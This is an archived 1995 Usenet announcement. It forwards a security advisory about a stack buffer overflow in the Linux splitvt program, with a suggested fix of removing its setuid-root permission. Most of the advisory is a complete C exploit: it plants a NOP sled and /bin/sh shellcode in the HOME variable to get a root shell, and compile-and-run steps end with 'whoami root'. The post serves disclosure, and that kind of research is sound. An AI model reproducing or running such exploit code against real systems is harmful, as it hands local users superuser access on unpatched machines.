From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: 10d4db,f970fe734fa53820,start X-Google-Attributes: gid10d4db,public From: Chander Ganesan Subject: Linux/splitvt security hole. Date: 1995/12/23 Message-ID: #1/1 X-Deja-AN: 122671503 followup-to: comp.os.linux.misc content-type: text/plain; charset=ISO-8859-1 organization: ? mime-version: 1.0 newsgroups: comp.os.linux.announce -----BEGIN PGP SIGNED MESSAGE----- [ Moderator's note: "ASAP", indeed. This was in my mailbox for almost two weeks. I've _got_ do something about turnaround time. :-( --liw ] Sinc ethis is of particular concern to users of Linux, you may wish to post this release ASAP. I believe the easist way to fix this is to change the proveleges so the program does not execute as SETUID root. - --- Chander Ganesan Information Technology Arizona State University C@asu.edu - ---------- Forwarded message ---------- Date: Sun, 03 Dec 1995 22:52:37 -0700 From: root Subject: Avalon Release Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to mcpheea@cadvision.com . - ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMNu03YQRll5MupLRAQFx0QQAiqS4Os1T3881fI4uVaf9JG8WvuHVQbeb 5dQp1oNnDcjwUz0lacuRsh9PCFtaexbTtmRt9qvFEU0o/wtWMTHl5fTr2ssfbUs3 iTQ1hlw7+lqgY9Bv8htekgROgbCsv5SmLuQENkB7IEQmaVuplbZI9xGhc2dMisDy hTRb08qYnss= =cNyn -----END PGP SIGNATURE----- -- This article has been digitally signed by the moderator, using PGP. Finger wirzeniu@kruuna.helsinki.fi for PGP key needed for validating signature. Send submissions for comp.os.linux.announce to: linux-announce@news.ornl.gov PLEASE remember a short description of the software and the LOCATION.